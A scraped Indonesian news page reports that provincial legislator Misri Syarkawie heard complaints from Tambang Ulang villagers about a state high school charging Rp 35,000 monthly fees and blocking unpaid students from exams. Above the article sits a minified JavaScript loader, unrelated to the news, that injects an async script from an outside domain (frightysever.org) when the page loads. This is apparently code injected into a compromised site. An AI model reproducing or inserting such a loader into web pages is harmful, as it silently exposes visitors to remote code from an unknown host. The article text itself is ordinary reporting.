(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Misri Syarkawie Dicurhati Warga Tambang Ulang Soal Pungutan Sekolah


BANJARMASIN, Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kalsel Fraksi Partai Golkar Drs Misri Syarkawie berharap sekolah tidak melakukan pungutan di luar ketentuan yang berlaku dan bahkan memberatkan orang tua murid. Hal tersebut diungkapkannya, Kamis (8/11) disela kegiatan reses bersama ratusan masyarakat Desa Tambang Ulang, Kecamatan Tambang Ulang, Kabupaten Tanah Laut.

“Dalam reses kali ini ada salah satu warga yang curhat terkait besarnya biaya pungutan perbulan di salah satu Sekolah Menengah Atas (SMA) Negeri di Desa Tambang Ulang. Ini nanti akan kita telusuri apakah benar terkait laporan warga tersebut atau bagaimana,” tegas Anggota Komisi IV DPRD Kalsel itu.

Dari curhatan warga tersebut dijelaskannya, pihak sekolah melakukan pungutan kepada para siswa sebesar Rp 35 ribu perbulan. Bahkan jika siswa ada yang tidak membayar, tidak akan diikutkan ujian sebelum yang bersangkutan melunasinya.

“Setahu saya dalam aturan terbaru Kementerian Pendidikan terkait pungutan ini sifatnya hanya sukarela, tidak boleh ditentukan besaran dan waktunya. Curhatan ini nanti akan segera kita tindak lanjuti karena selain menyalahi aturan juga memberatkan orang tua murid,” tambahnya.

Misri dalam kesempatan ini berharap, masyarakat bisa lebih aktif mengawasi pihak sekolah dalam melakukan pungutan. Jangan sampai hanya diam, karena akan merugikan masyarakat sendiri nantinya.

“Jika ada pungutan di tingkat SMA bisa dilaporkan ke kami yang ada di DPRD Kalsel, karena kini kewenangan SMA ada di Tingkat Provinsi. Namun jika pungutan ditingkat SD dan SMP bisa dilaporkan ke DPRD Kabupaten dan Kota, karena kewenangan ada di Tingkat Kabupaten dan Kota,” ungkap politisi senior Partai Golkar ini.

Sementara itu, Ketua RT 1 Kaspudin mengakui, memang ada keluhan dari masyarakat Tambang Ulang atas pungutan rutin yang dilakukan oleh pihak sekolah kepada para siswa.

Ia pun sudah pernah mengadukan permasalahan ini kepada pihak terkait di Tingkat Kabupaten. Namun karena kewenangan SMA kini ada di tingkat Provinsi, maka aduannya tidak mendapatkan respon.

“Melalui even reses ini kami berharap ada respon terkait aduan pungutan tersebut. Kami berharap dalam waktu dekat bisa ada solusi, karena sudah banyak warga yang mengeluhkannya,” imbuhnya.

Sekadar diketahui, selain melakukan reses Desa Tambang Ulang di Kecamatan Tambang Ulang. Misri Syarkawie juga melakukan aktivitas reses di wilayah lainnya di Kabupaten Tanah Laut, yakni Desa Tirta Jaya Kecamatan Bajuin, Desa Banyu Irang Kecamatan Bati-Bati, Kelurahan Pelaihari Kecamatan Pelaihari dan Desa Gunung Mas Kecamatan Batu Ampar.(arief)

Reporter : Arief
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.